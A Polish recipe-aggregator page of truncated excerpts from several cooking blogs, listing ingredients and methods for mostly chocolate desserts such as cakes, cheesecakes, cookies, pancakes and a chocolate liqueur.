ciasta jest dodany cynamon i przyprawa do piernika do farszu użyłam zmielonych orzechów laskowych ( uwielbiam ) i masy kajmakowej czekoladowej.  Połączenie idealne :).  Całość wykańcza pyszna mleczna czekolada roztopiona w kąpieli wodnej oraz posiekane orzeszki laskowe. Nic tylko zajadać :)  Chciałam podkreślić, że robienie takich rogalików sprawia wielką radość i zabawę. Dlatego można znaleźć smakowity sposób na to, aby Nasze(...)kwaśna 1 op.  kakao prawdziwe 2 łyżki  cynamon 1 łyżeczka przyprawa do piernika 2 łyżki Farsz: masa kajmakowa czekoladowa 300 gram orzechy laskowe zmielone 3/4 szkl. Polewa: czekolada mleczna 1 op. masło 1 łyżka mleko 3 łyżki Dodatkowo: orzechy laskowe posiekane METODA: Ciasto: Wszystkie składniki umieścić w misce i zagnieść ciasto. Podzielić na dwie części, przykryć folią spożywczą

Kuchnia Paulettes
TRADYCYJNY MURZYNEK Z POLEWĄ 196

tradycyjny czekoladowy murzynek. Te ciasto jest najbardziej popularne. Nie jest trudne, a za to szybkie w przygotowaniu. Murzynek jest wilgotny, kruchy i mocno czekoladowy. Z dodatkiem polewy z mlecznej czekolady to istny raj dla podniebienia. Ciasto nie jest tylko ciastem, które trzeba przygotowywać na specjalne okazje, można je przygotować na co dzień  do kawki, dzięki czemu umili nam czas(...)szczęścia !  Składniki: margaryna 250 gram woda 1/2 szkl. cukier 1 szkl. jaja 4 szt.  kakao 4 łyżki mąka tortowa 2 szkl. proszek do pieczenia 1 łyżka Polewa: czekolada mleczna 150 gram Dodatkowo: bułka tarta masło do wysmarowania keksówki Metoda: Margarynę, wodę, cukier i kakao umieścić w garnku i podgrzać do rozpuszczenia. Masę odstawić do ostygnięcia.  Mąkę przesiać

Kuchnia Paulettes
METROWIEC 113

pieczenia 1 i 1/2 łyżeczki szczypta soli aromat migdałowy kilka kropel sok z cytryny 1 łyżka krem karpatka 2 op.  mleko 700 ml.  masło 25 gram czekolada gorzka 70 % 1 tabliczka czekolada mleczna 1 tabliczka  mleko 4 łyżki METODA:  CIASTO: Białka oddzielić od żółtek. Żółtka ubić z cukrem pudrem na puszystą masę. Białka ubić oddzielnie(...)zimne mleko wymieszać z proszkiem karpatkowym i zmiksować, aż masa zgęstnieje. Masło utrzeć. Do utartego masła stopniowo dodawać krem karpatka.  POLEWA: W rondelku podgrzać  mleko. Dodać posiekane czekolady. Mieszać do rozpuszczenia na bardzo małym ogniu.  SKŁADANIE: Ciasto pokroić w 1 cm plastry. Oddzielić białą część ciasta od ciemnego. Plastry układać na przemian, przekładając je masą karpatkową

Kuchnia Paulettes
CIASTECZKA PIEGUSKI 114

żółtka z 2 jaj cukier 1/2 szkl.  soda oczyszczona 1/2 łyżeczki masło 150 g.  cukier wanilinowy 1 op. ekstrakt z wanilii 1/2 łyżeczki  kropelki czekoladowe z czekolady deserowej 4 łyżki lub pół tabliczki posiekanej czekolady sól 1/2 łyżeczki METODA: 1. W misce umieścić mąkę, żółtka, cukry, ekstrakt, sodę, pokrojone na mniejsze części masło oraz kropelki czekoladowe(...)posiekaną czekoladę.  2. Składniki wymieszać i zagnieść ciasto. Tak długo ugniatać, aż powstanie jednolita masa.  3. Ciasto podzielić na 3 równe części, podsypać mąką i rozwałkować na ok. 4-5 mm.  Wyciąć kółka mniejszą szklanką lub nabrać w dłonie ciasto i uformować kulkę wielkości orzecha włoskiego, lekko rozpłaszczyć. Ciastka układać na blaszce wyłożonej pergaminem i piec

Kuchnia Paulettes
CIASTO KINDER COUNTRY (PIECZONE) 156

ciasta pieczonego, według mojego gustu i smaku.  Ciasto jest czekoladowe przełożone pysznym kremem z dodatkiem ryżem preparowanym w miodzie. Dzięki temu krem ma całkiem inny smak. Wierzch oblany czekoladą i posypany ryżem. No pycha ! SKŁADNIKI: Biszkopt: jaja 6 szt. mąka 3/4 szkl, cukier 3/4 szkl. kakao 3 łyżki olej rzepakowy 2 łyżki proszek do pieczenia 2 łyżeczki Krem: mleko(...)śmietana kremówka 500 ml.  cukier 4 łyżki  ryż preparowany w miodzie  3 szkl.  Dodatkowo:  ryż preparowany w miodzie 1 szkl. mleczna czekolada  100 g.  powidła śliwkowe lub truskawkowe METODA: 1. Biszkopt: Białka oddzielić od żółtek. Białka ubić na sztywną pianę. Dodać cukier, dalej miksując na najwyższych obrotach, Dodać żółtka,  przesianą mąkę

Kuchnia Paulettes
SERNIK CHAŁWOWY 165

Sernik chałwowy to sernik idealny i perfekcyjny pod każdym względem. Jego konsystencja jest kremowa, a wręcz aksamitna, bez grudek. Nie jest przesłodzony, jest stonowany. Czekolada idealnie współgra z masą chałwową. Nie wiem jak wy, ale ja z chałwą mam dobre wspomnienia z dzieciństwa. Najlepsze były te z puszek lub na wagę. Jest to także wspaniały dodatek do wypieków. Sernik może(...)półtłusty 750 g.  mleko skondensowane niesłodzone 1 filiżanka cukier 1/4 filiżanki chałwa 300 g.  jaja 4 szt. mąka ziemniaczana 3 łyżki ekstrakt z wanilii 1 łyżeczka mleczna czekolada 200 g. olej rzepakowy 3-4 łyżki METODA: W tortownicy o wymiarach 24- 26 cm. wyłożyć biszkopty.  W malakserze z ostrymi nożami umieścić najpierw mleko skondensowane, jaja i pokruszony

Kuchnia Paulettes
KAWA CAPPUCCINO PIERNIKOWA 151

inny sposób. I ta pyszna pianka...od której chce się więcej i więcej.  SKŁADNIKI NA 1 FILIŻANKĘ: woda przegotowana gorąca 3/4 filiżanki kawa rozpuszczalna 1 i 1/2 łyżeczki czekolada mleczna 3 kostki przyprawa do piernika 1/2 łyżeczki mleko 3, 2 % gorące, ale niezagotowane 1/4 filiżanki ewentualnie cukier ( u mnie 1/2 łyżeczki ) kakao do posypania METODA: Do wody w szklance(...)garnuszku dodajemy kawę, czekoladę, przyprawę i ewentualnie cukier. Dokładnie mieszamy, aż czekolada rozpuści się. Przelewamy do filiżanki.  Mleko ubijamy ubijaczką. Jeśli ktoś nie ma umieszczamy mleko w słoiczku, zakręcamy i potrząsamy, aż powstanie pianka. Piankę wylewamy na cappuccino. Posypujemy kakao

Kuchnia Paulettes
Domowe snickersy. 1207

będzie chciał tego spróbować? ;) Okazało się, że jak najbardziej. Recenzje były entuzjastyczne i nawet w językach obcych ;) Wobec tego może też spróbujecie się pobawić? :) Składniki: warstwa czekoladowa: 3 tabliczki czekolady mlecznej lub deserowej dobrej jakości 4 łyżki kremowego masła orzechowego warstwa orzechowa: 150 g białych pianek marshmallow 3 łyżki masła z solą morską 4 łyżki śmietanki kremówki 2 łyżki masła(...)ziemnych warstwa karmelowa: 200 g masy krówkowej (kajmaku) Wykonanie: Blachę o wymiarach około 20 x 30 cm wyłożyć lekko natłuszczonym papierem do pieczenia lub folią. 1 i 1/2 tabliczki czekolady połamać na kawałki i umieścić w miseczce z 2 łyżkami masła orzechowego. Rozpuścić w mikrofalówce (60 %, 4 minuty) i wymieszać. Rozprowadzić równą warstwą na papierze lub folii i wstawić

zadanie-gotowanie
Pomarańczowy puch 134

pewno przypomina Wam wciąż bijący rekordy popularności „Śnieżny puch”, jednak mój nie zawiera twarogu i „Śnieżki”, a jedynie kremówkę, galaretkę, sok i skórkę pomarańczową :) Wierzch posypałam wiórkami z gorzkiej czekolady i ułożyłam plastry cytrusa. Pomarańczowy puch jest pyszny, a przy tym długo zachowuje świeżość. Może być przechowywany w lodówce nawet 7 dni! Ciężko również poprzestać na jednym kawałeczku… ;) Wypróbujcie koniecznie(...)łyżki świeżo wyciśniętego soku z pomarańczy (ew. z kartonu) 1 łyżeczka cukru pudru 2 galaretki pomarańczowe 1 płaska łyżeczka startej skorki pomarańczowej 1 pomarańcza 30 g startej, gorzkiej czekolady Wykonanie: Formę o wymiarach ok. 26x26 cm (może też być troszkę mniejsza) wykładamy szczelnie folią aluminiową (spód i boki). Na dnie układamy herbatniki (jeden obok drugiego). Galaretki rozpuszczamy

MyCookBook.pl
Kutia bezglutenowa 124

maku (najlepiej już zmielonego) 4 łyżki miodu 100 g orzechów włoskich (obranych i grubo pokrojonych) 50 g suszonych śliwek bez pestek pokrojonych w ćwiartki łyżka ekstraktu waniliowego gorzka czekolada Przygotowanie: Komosę przepłucz wodą po czym gotuj 10 minut w mleku. Pod koniec gotowania dodaj kilka kawałków czekolady i poczekaj aż się rozpuści. Jeśli masz nie zmielony mak, to zalej(...)mlekiem i wymieszaj z orzechami, wanilią i śliwkami. Jeśli całość będzie za sucha możesz dodać 4 łyżki wrzątku. Przed podaniem udekoruj talerz płynnym miodem, orzechami i startymi wiórkami czekolady

Ugotowane pozamiatane
BROWNIE PIERNIKOWE 131

Składniki: 50 g migdałów 50 g orzechów laskowych 100 g cukru kryształ (1/2 szklanki) 300 g gorzkiej czekolady (3 tabliczki) 250 g margaryny (1 kostka) 5 jajek 200 g mąki pszennej 2 łyżki przyprawy di piernika (40 g) 1 łyżka miodu 1 czubata łyżeczka proszku do pieczenia Dodatkowo: cukier puder Przygotowanie: Migdały i orzechy laskowe grubo posiekać. Mąkę pszenną(...)proszkiem do pieczenia i przyprawą do piernika przesiewamy. Czekoladę rozpuścić w kąpieli wodnej, lekko przestudzić. Następnie margarynę rozpuszczamy i odstawiamy do ostygnięcia. Ubić jajka z cukrem do momentu zbielenia. Dodać rozpuszczoną margarynę i czekoladę, lekko wymieszać, potem dodać miód - wymieszać. Następnie dodać przesianą mąkę pszenną z proszkiem do pieczenia i przyprawą do piernika - dokładnie wymieszać. Na koniec wsypać migdały

Ciastka - domowe słodkości
ciasto czekoladowe z nutą piernika 169

składniki: 100 g czekolady gorzkiej 250 g mąki orkiszowej lub pszennej 150 g cukru pudru 240 ml maślanki 100 ml oleju 2 jajka 2 łyżki kakao 3 łyżeczki przyprawy do piernika 2 łyżeczki sody dodatkowo do dekoracji: polewa czekoladowa posiekane orzechy wykonanie: Czekoladę siekamy. Mąkę mieszamy z cukrem pudrem, sodą, kakao oraz przyprawą do piernika. W osobnym naczyniu miksujemy olej(...)maślanką oraz jajkami. Do zmiksowanych składników przesiewamy suche składniki i mieszamy np. szpatułką tylko do połączenia się składników. Na koniec dodajemy posiekaną czekoladę i mieszamy. Ciasto przelewamy do wysmarowanej masłem i oprószonej keksówki (ok. 25x10cm). Pieczemy w 175 st. C przez ok. 60 min., do tzw. suchego patyczka. Po upieczeniu odstawiamy do wystudzenia i dowolnie dekorujemy. Zapisz Zapisz Zapisz Zapisz

Domowy Smak Jedzenia
NALEŚNIKI RAZOWE Z SEREM MANDARYNKOWYM I CZEKOLADĄ 115

szklanki mleka  szczypta soli olej do smażenia nadzienie:  kostka białego sera  3 łyżki cukru brązowego  1 mały kubeczek jogurtu greckiego  4 mandarynki czekolada gorzka pomarańczowa + 100 ml śmietanki 30% oraz ok 2 łyżek orzechów arachidowych pokruszonych  Sposób przyrządzenia:  Składniki na ciasto delikatnie wymieszać, a następnie zmiksować lub roztrzepać, ja dziś(...)pewno się uda, oczywiście wcześniej trzeba podważyć widelce.  Ser rozdłubać widelcem, dodać jogurt, połowę obranych mandarynek, cukier i zblendować na gładką masę.  Śmietankę zagotować, dodając kostki czekolady.  Każdy naleśnik smarować grubą warstwą sera posypując małymi cząstkami mandarynek. Tuż przed podaniem polać gorącą czekoladą oraz posypać orzeszkami

pieprzny smaczek
Naleśniki mojego dzieciństwa 189

naleśnik był najlepszy na świecie! składniki na nadzienie i polewę 500 sera twarogowego  1 cukier z prawdziwą wanilią 2 łyżki cukru  2 łyżki gęstej śmietany 1 tabliczka czekolady 100 g ok. 30 g wiórek kokosowych ok. 4 łyżki kremówki 30% składniki na ciasto naleśnikowe: 500 ml mleka 3,2 % 200 g mąki pszennej 1 jajko 100 ml oleju(...)cukier, cukier waniliowy, śmietanę. Wszystko razem mieszamy. Jeżeli ser dla nas jest za mało słodki, zawsze można dodać więcej cukru. Tak samo jest z konsystencją i dodaniem ilości śmietany. Czekoladę rozpuszczamy w kąpieli wodnej i dodajemy kremówkę (bez ubijania) Smażymy nasze naleśniki, smarujemy serem i polewamy ciepłym sosem czekoladowym posypując na koniec na bogato wiórkami kokosowymi. Ja dorzuciłam jeszcze klika

W Moim Magicznym Domu
Likier czekoladowy. 129

Składniki : 20 dkg czekolady gorzkiej 6 żółtek 20 dkg cukru 200 ml mleka 250 ml spirytusu 95 % kawałek laski wanilii Sposób wykonania :   Ż ółtka utrzyj z cukrem na puszystą masę. Czekoladę rozpuść w mleku podgrzewając w rondelku na niewielkim ogniu ciągle mieszając. Do utartych żółtek, ciągle mieszając, wlewaj rozpuszczoną czekoladę , a następnie cienkim strumieniem, powoli wlewaj spirytus. W trakcie

Przepisy i porady kulinarne
Rarytas z krakersem i karmelem 420

czubata szklanka maki 1 lyzka oleju 3 lyzeczki kakao 1 lyzeczka proszku do pieczenia 1 puszka kajmaku 200 g masla 2 paczki krakersów posiekane orzechy włoskie 50 g czekolady gorzkiej 50 g czekolady mlecznej 4 lyzki smietanki 30%, albo mleka    Sposób przygotowania: Białka nalezy oddzielić od zoltek i zmiksować z cukrem puch. Następnie dodac zoltka i dalej miksować(...)posmarować czescia masy kajmakowej, po czym ulozyc warstwę krakersów, lekko docisnac i kladziemy nastepna warstwe masy i warstwa karakersow, masa kajmakowa i ciasto czekoladowe, mi wyszly 3 warstwy krakersow. Czekolady rozpuscic w kapieli wodnej, dolac smietanke i gotowa polewa polac ciasto. Orzechy pokroic na mniejsze kawałki i posypać nim cale ciasto. Odstawic do lodówki na cala noc i gotowe :) Smacznego

Słodkości i nie tylko
Czekoladowe clafoutis z gruszką i gorgonzolą 156

deserów. Bardzo przypomina ciasto naleśnikowe (w składzie i stopniu trudności), tylko że pieczemy je w piekarniku. Klasyczny francuski przepis zawiera letnie wiśnie lub czereśnie. W mojej zimowej wersji znajdziecie czekoladę i gruszki oraz dodatek czegoś ekstra - słonej gorgonzoli. O wspaniałości duetu gruszka i gorgonzola opowiadałam Wam już nie raz, np. przy okazji przepisu na tę sałatkę . A czy wiedzieliście(...)gorgonzola i gorzka czekolada to również para idealna? Miałam okazję się o tym przekonać kilka lat temu w czasie warsztatów z serów zagrodowych prowadzonych przez Gienio Miętkiewicza. Próbowaliśmy wtedy różnych nietypowych zestawień smakowych, m.in. właśnie gorgonzoli z czekoladą oraz popijanego miodem pitnym. W czekoladowym clafoutis gorgonzoli nie jest dużo, ale wystarczająco, aby dodać ciastu interesującej słoności, gdy natchniemy się

Chilli Czosnek i Oliwa
Biała kawa zbożowa o smaku gruszkowym. 169

zewnątrz przez okno... i co widzę? Śnieg! Tak moi drodzy, w Wielkopolsce miejscami zrobiło się biało...  A więc do kubka gorącej porannej kawy dołożyłam sporo mlecznego puchu, białej czekolady i oczywiście syropu z sezonowych gruszek, by nadać kawie niepowtarzalny owocowy smak. I tak powstało idealne połączenie kawy z witaminami na chłodny dzień, spróbujecie? :-) Składniki na 2 szklanki: Inka Klasyczna(...)mleko 3,2 % - 200 ml laska wanilii biała czekolada do oprószenia dojrzała gruszka garść cukru Wykonanie: Gruszkę obrać ze skórki i pokroić w małą kostkę, włożyć do niedużego naczynia. Zasypać cukrem i zostawić w ciepłym miejscu, by się rozpuścił, tworząc syrop. Dobrze jest zasypać gruszkę na noc. Do mleka dołożyć ziarenka z laski wanilii i podgrzać je by było gorące

Poezja Smaków - blog kulinarny
Ciastka z płatkami kukurydzianymi 149

corn flakes, które uwielbiam. Zrobiłam i przepadłam, od tamtej pory robię je co jakiś czas, bo są przepyszne. Bawię się również w dodawanie do ciastek różnych rodzajów bakalii, ziaren, czekolady, czy suszonych owoców, ale zawsze w podstawie składników są płatki, które dają ten wyjątkowy smak. Jeśli macie więc ochotę na jakieś domowej roboty ciasteczka to z czystym sumieniem polecam(...)cukru 2 łyżki cukru waniliowego 3 szklanki mąki 1 czubata łyżeczka proszku do pieczenia 5 szklanek płatków kukurydzianych typu corn flakes ok. 1/2 szklanki posiekanych orzechów włoskich 90 g czekolady mlecznej   Margarynę rozpuścić i odstawić do ostygnięcia. Całe jajka utrzeć z cukrem i cukrem pudrem na jasną, puszystą masę. Nie przestając miksować na zmianę partiami dodawać mąkę wymieszaną

Simply Food
Placuszki bananowe 181

czyli w weekend wynagradzam sobie takimi oto śniadaniami cały zabiegany tydzień. Składniki: dojrzały banan jajko woda mineralna 3 łyżki mleko 3 łyżki mąka kokosowa ulubione owoce do dekoracji gorzka czekolada olej kokosowy do smażenia Jajko ubijam, dodaję do rozgniecionego już banana. Następnie dodaję mleko i wodę mineralną, mieszam. Dodaję tyle mąki kokosowej aby ciasto było gęstą "papką". Smażę małe placuszki(...)oleju kokosowym, w międzyczasie w kąpieli wodnej roztapiam czekoladę. Po usmażeniu, placuszki przekładam ulubionymi owocami, wszystko polewam czekoladą. Smacznego

Bike By Life
Piernik staropolski 114

przed Wigilią: Składniki: • Ciasto na piernik dojrzewające • 3 słoiczki powideł śliwkowych • 1 słoiczek wiśni w syropie lub kandyzowanych • drobne srebrne cukiereczki • 2 gorzkie czekolady • 1/2 szklanki śmietanki 30% Wykonanie: • Ciasto należy wyjąć z lodówki i odstawić na godzinkę, aby się uplastyczniło. • Podzielić na 4 części i rozwałkować każdą na grubość maksymalnie(...)książkami i odłożyć w chłodne miejsce. • Piernik na początku jest twardy, później nabierze wilgoci z otoczenia. • Kilka dni przed Wigilią ozdobić pierniki. • Rozpuścić połamaną czekoladę ze śmietanką w kąpieli wodnej. • Posmarować pędzelkiem boki i wierzch pierników czekoladą. • Każdy długi piernik podzieliłam na dwie części i wyszły mi 4 pierniki

To co kocham
Muffinki czekoladowe 129

minut w temp. 180 st.C. Wyglądają na niewyrośnięte, ale specjalnie są mniejsze, bo dla małych dzieciaczków. Dekorację zrobiła z gotowego marcepana . Kupiła taki w czekoladzie, po czym obrała go z niej i dodała kurkumy , aby uzyskać żółty kolor. Utoczyła „brzuszki” i powkładała skrzydełka z  płatków migdałowych . Paski zrobiła(...)roztopionej gorzkiej czekolady i przykleiła pszczółki do muffinek również na czekoladę. Pomysł zaczerpnęła z Internetu. Wyszły bardzo efektownie

To co kocham
Roladki biszkoptowe a la jajko 103

Smak wyśmienity, a wygląd oceńcie sami! Składniki na 20 sztuk: Biszkopt • 4 jajka • 4 łyżki cukru • 4 łyżki mąki pszennej Masa • 250 g sera mascarpone • 1 biała czekolada • puszka moreli w syropie • 1 dżem morelowy niskosłodzony Wykonanie: Rolada • Białka ubić na sztywno, dodać cukier i dalej ubijać. • Dodawać po jednym żółtku lekko ubijając(...)posmarować dżemem morelowym, po czym zwinąć z powrotem. • Roladę zawinąć w folię aluminiową i odłożyć na kilka godzin lub na noc. Masa • Białą czekoladę rozpuścić na parze. • Serek mascarpone wymieszać mikserem, o czym dodać rozpuszczoną czekoladę i dokładnie wymieszać. • Morele wyjąć z puszki, osączyć z syropu i wyciąć

To co kocham
Karmelowiec z bitą śmietaną 131

jest po prostu wyśmienite. Wymaga trochę pracy, ale naprawdę warto się wysilić. Kremowa masa budyniowa, słodki kajmak zneutralizowany słonymi krakersami i aksamitna bita śmietana posypana czekoladą to kwintesencja jego smaku. Ciasto śmigło – tak nazwał je Sławek, bo tylko śmignęło ze stołu. Składniki: Biszkopt • 5 jajek • 1 szklanka cukru • 1 szklanka mąki • 1 łyżeczka proszku(...)śmietana • 500 ml śmietanki 30% • 3 łyżki cukru pudru • 1 opakowanie śmietan fix oraz • 1 opakowanie krakersów • 1 opakowanie herbatników typu petit • 1 puszka mleka skondensowanego słodzonego • 1/2 tabliczki czekolady Wykonanie: • Mleko skondensowane gotować w garnku zalane wodą przez 2 godziny. • Wystudzić i dopiero wtedy otworzyć puszkę. Biszkopt • Białka ubić na sztywną pianę, dodać powoli cukier cały

To co kocham
Muffinki dyniowe 118

jajka • 1 szklanka mąki pszennej • 1 łyżeczka proszku do pieczenia • 1 łyżeczka cynamonu • 1/2 szklanki orzechów włoskich • 1/2 szklanki płatków migdałowych Dekoracja • cukierki – dynie • 1/2 tabliczki białej czekolady • 2 łyżki mleka • szczypta zielonej herbaty w proszku Matcha Wykonanie: • Puree z dyni zrobiłam poprzez upieczenie dyni ze skórą w temp. 200 st.C przez 30 minut(...)masę do papierowych papilotek i umieścić ją w formie na muffinki. • Piec 20 minut w temp. 180 st.C lub do suchego patyczka. Dekoracja • Czekoladę z mlekiem rozpuścić na parze wodnej, dodać herbatę mieloną i wymieszać. • Na każdą muffinkę kłaść po 1/2 łyżeczki zielonej czekolady i na środku umieścić

To co kocham
Makowiec z roladkami w kruchym cieście 135

też spektakularny makowiec o wymagającej strukturze. Ciasto, które smakuje najlepiej w okresie zimowym, okołoświątecznym. Delikatne roladki makowe zatopione w puszystej masie kremowej i polane czekoladą skuszą każdego smakosza. Składniki: Ciasto kruche • 5 żółtek • 1 jajko • 1 szklanka kwaśnej śmietany • 1 szklanka cukru pudru • 750 g mąki pszennej • 1,5 łyżeczki proszku do pieczenia • 1/2 łyżeczki(...)amoniaku • 1 duża puszka masy makowej Masa kremowa • 1 litr mleka • 125 g masła • 4 białka • 1 szklanka cukru • 3 łyżki mąki pszennej • 3 łyżki mąki ziemniaczanej Polewa • 1 czekolada mleczna • 1/3 szklanki słodkiej śmietanki Wykonanie: Ciasto kruche • Zagnieść wszystkie składniki ciasta. • Ciasto podzielić na 6 części. • 2 części rozwałkować na wielkość blaszki (u mnie

To co kocham
Miniserniczki marcepanowe 134

Miałam w lodówce gotową masę marcepanową i chciałam ją wykorzystać w jakimś pysznym deserze. Miniserniczki o smaku marcepana, z dodatkiem czekolady i migdałów, są bardzo delikatne i równocześnie wykwintne. Jest to odmiana sernika, tylko w wersji już porcjowanej. Można również upiec w tortownicy i udekorować(...)sposób. Składniki na 15 sztuk: • 500 g sera białego mielonego • 200 g gotowej masy marcepanowej • 3 jajka • 3 łyżki cukru pudru • 2 łyżki mąki ziemniaczanej • 1/4 tabliczki mlecznej czekolady • słupki z migdałów do posypania Wykonanie: • Marcepan utrzeć z cukrem pudrem. • Dodawać po łyżce ser biały cały czas mieszając. • Wbijać po 1 jajku

To co kocham
Sernik kawowy 151

niepotrzebnie nie jeść zbędnych węglowodanów i nie zaburzyć smaku sernika. Składniki: • 1 kg sera białego mielonego • 1 puszka mleka skondensowanego słodzonego • 6 jajek • 3 łyżki mąki ziemniaczanej • 1 czekolada biało-czarna kawowa • 4 łyżeczki kawy rozpuszczalnej • 1/2 szklanki śmietanki 30% • 1/2 szklanki kwaśnej śmietany 18% Polewa śmietanowa • 1 duża śmietana 18% – 360 g • 3 łyżki cukru • 1 łyżeczka(...)kawy mielonej • cukierki czekoladowe w kształcie kawy Wykonanie: • Czekoladę rozpuścić ze śmietanką i kawą rozpuszczalną, wystudzić. • Ser delikatnie zmiksować z mlekiem skondensowanym i mąką ziemniaczaną. • Wbijać po jednym jajku co 30 sekund, cały czas miksując na wolnych obrotach. • Na koniec dodać kwaśną śmietanę i rozpuszczoną czekoladę. Masa serowa będzie dość płynna

To co kocham
Mazurek czekoladowy 126

świeżo”. Składniki: Ciasto kruche • 200 g masła • 150 g mąki pszennej • 80 g mąki ziemniaczanej • 3 łyżki cukru pudru • 3 żółtka • szczypta soli Nadzienie • 2 gorzkie czekolady • 1 szklanka śmietanki 30-36% • 1/2 szklanki cukru • 1 paczka blanszowanych migdałów • kilka sztuk pianek marshmallows • kolorowe cukierki Wykonanie: Ciasto kruche • Wymieszać obie mąki, cukier i sól. • Dodać miękkie masło, żółtka(...)się nie stanie, bo masa czekoladowa je sklei. Dekoracja • Zagotować śmietankę z cukrem, zdjąć z ognia trochę przestudzić i dodać połamaną na kawałki czekoladę. Mieszać cały czas, aż czekolada się rozpuści. • Ciepłą masę czekoladową wylać na kruche ciasto i wyrównać. • Blanszowanymi migdałami obłożyć obwód mazurka tworząc pałąk koszyczka. • Pianki marshmallows pociąć nożyczkami

To co kocham
Wielkanocny koszyk drożdżowy 112

koszyk będzie niekwestionowaną ozdobą świątecznego stołu podczas śniadania wielkanocnego. Składniki: • 750 g mąki pszennej • 2 jajka • 5 łyżek cukru • 300 ml mleka • 1/2 łyżeczki soli • 50 g masła • 1 czekolada mleczna • 1 jajko do posmarowania bułeczek Rozczyn drożdżowy • 40 g drożdży • 3 łyżki mleka • 1 łyżeczka cukru • 1 łyżeczka mąki • 1 łyżka jogurtu Dekoracja • 1 szklanka śmietanki(...)sera mascarpone • 3 łyżki cukru pudru • kwiaty jadalne – bratki • jajeczka czekoladowe – migdały w czekoladzie Wykonanie : Rozczyn drożdżowy • W miseczce pokruszyć drożdże, dodać cukier, mąkę, ciepłe mleko i jogurt. Wymieszać i odstawić na 20 minut w ciepłe miejsce. Ciasto drożdżowe • Jajka roztrzepać z cukrem, dodać mąkę, sól, ciepłe mleko i rozczyn

To co kocham
Keks z owocami lata 105

krojone, bo wtedy nie wylatuje z nich sok i nie rozmiękają ciasta tworząc zakalec. Dodałam również małe czipsiki czekoladowe dla podkręcenia smaku. Można użyć tabliczkę czekolady pokrojoną na drobne kawałki. Wyszedł wyśmienity, lekko kwaskowy z nutką czekolady! Polecam do eksperymentowania z różnymi owocami. Składniki: • 5 jajek • 1 szklanka cukru pudru • 1 szklanka oleju(...)cukrem na białą masę. Wlewać powoli olej cały czas ucierając. • Dodać mąkę z proszkiem i ubite na sztywno białka, wymieszać. • Wsypać owoce i czekoladę, wymieszać. • Ta porcja wystarcza na 1 dużą keksówkę lub 2 małe. • Piec w temp. 180 st.C przez 40 minut

To co kocham
Ciasteczka Potworki 125

szybki sposób na coś słodkiego, smacznego, pomysłowego i „strasznego”. Treat or trick? Składniki na 10 ciastek: • 1 mała paczka paluszków Junior bez soli • 1 czekolada karmelowa • 1/2 gorzkiej czekolady • 1/3 szklanki śmietanki 30% • 2 czubate łyżki masła orzechowego Crunchy • cukierki „oczy” Wykonanie: • Podgrzać śmietankę, wrzucić do niej kostki czekolady karmelowej

To co kocham
Ciastka cynamonowe półfrancuskie 110

Wszystkiego najlepszego w Nowym Roku! Witam Was pysznymi ciasteczkami. Te ciasteczka półfrancuskie o smaku cynamonowym polane czekoladą zaspokoją gusta nawet najbardziej wybrednych smakoszy. Nie są zbyt słodkie, ale jest to raczej ich zaleta niż wada. W sam raz na jeden kęs do pysznej kawy. Składniki: • 60 dkg mąki pszennej • 500 g masła(...)łyżek kwaśnej śmietany • 4 żółtka • 1 łyżeczka cynamonu Polewa czekoladowa • 1 gorzka czekolada • 1/2 szklanki śmietanki 30% • 1 łyżka masła Wykonanie: • Mąkę posiekać z masłem, dodać żółtka i śmietanę. • Wyrobić szybko ciasto półfrancuskie, zawinąć w folię spożywczą i chłodzić co najmniej 2 godziny w lodówce. • Następnie ciasto posypać cynamonem i lekko zagnieść

To co kocham
Sernik z orzechami w miodzie 102

łyżki mąki ziemniaczanej • 1 cukier wanilinowy Warstwa orzechowa • 1,5 szklanki orzechów włoskich • 1/3 szklanki miodu • 1 cukier waniliowy • 1/2 szklanki śmietanki 30% Polewa czekoladowa • 1/2 tabliczki gorzkiej czekolady • 3 łyżki śmietanki 30% • połówki orzechów włoskich do dekoracji Wykonanie: • Ser, mleko skondensowane, mąkę i cukier waniliowy przełożyć do miksera i  przemieszać na wolnych obrotach(...)Wyjąć z piekarnika, po ostygnięciu zdjąć z sernika obręcz tortownicy. • Wstawić do lodówki na co najmniej 12 godzin, najlepiej na noc. Polewa czekoladowa • Czekoladę połamać na kawałki i rozpuścić ze śmietanką na parze. • Udekorować sernik kleksami czekolady i połówkami orzechów

To co kocham
Naleśniki z bananowym twarożkiem 134

Bananowy twarożek z dodatkiem kakao stał się bohaterem tego deseru. Farsz bardzo aromatyczny, lekki, tworzący idealny duet z cieniutkim naleśnikiem. Po polaniu czekoladą rozpływa się w ustach. Takie naleśniki to propozycja na lekki obiad na słodko lub wypasiony podwieczorek. Składniki: • 12 sztuk naleśników z tego przepisu (najlepsze naleśniki z serem(...)dojrzałe banany • 1 łyżka soku z cytryny • 2 łyżeczki cukru • 2 łyżeczki kakao • 300 g serka śmietankowego • cukier puder do posypania • 1/2 czekolady gorzkiej • 3 łyżki śmietanki słodkiej Wykonanie: • Usmażyć naleśniki według tego przepisu. • Banany pokroić, dodać cukier, sok z cytryny, kakao. Rozgnieść widelcem i podgrzać, aż masa zrobi się jednolita. • Banany przestudzić i połączyć

To co kocham
Ciastka ryżowe z serem 122

prezentem wielkanocnym dla rodziny, gości czy znajomych. Składniki: • 250 g mąki ryżowej • 50 g mąki ziemniaczanej • 1 jajko • 200 g ricotty • 100 g masła • 1 cukier waniliowy Dekoracja • 1 czekolada gorzka • 1/2 szklanki śmietanki 30% • dekoracyjna posypka i cukierki Wykonanie: • Mąkę posiekać z masłem i cukrem waniliowym. • Dodać jajko, ser i ponownie posiekać. • Delikatnie zlepić(...)Rozwałkować ciasto i wycinać ciastka foremką. • Wstawić do piekarnika nagrzanego do 180 st.C i piec 8-10 minut. Ciastka będą białe na wierzchu. Dekoracja • Czekoladę podzielić na małe kawałki, zalać śmietanką i wstawić na 30 sekund do mikrofalówki, po czym dokładnie wymieszać, aż czekiolada się rozpuści. Można czekoladę rozpuścić

To co kocham
Deser truskawkowo-rabarbarowy 129

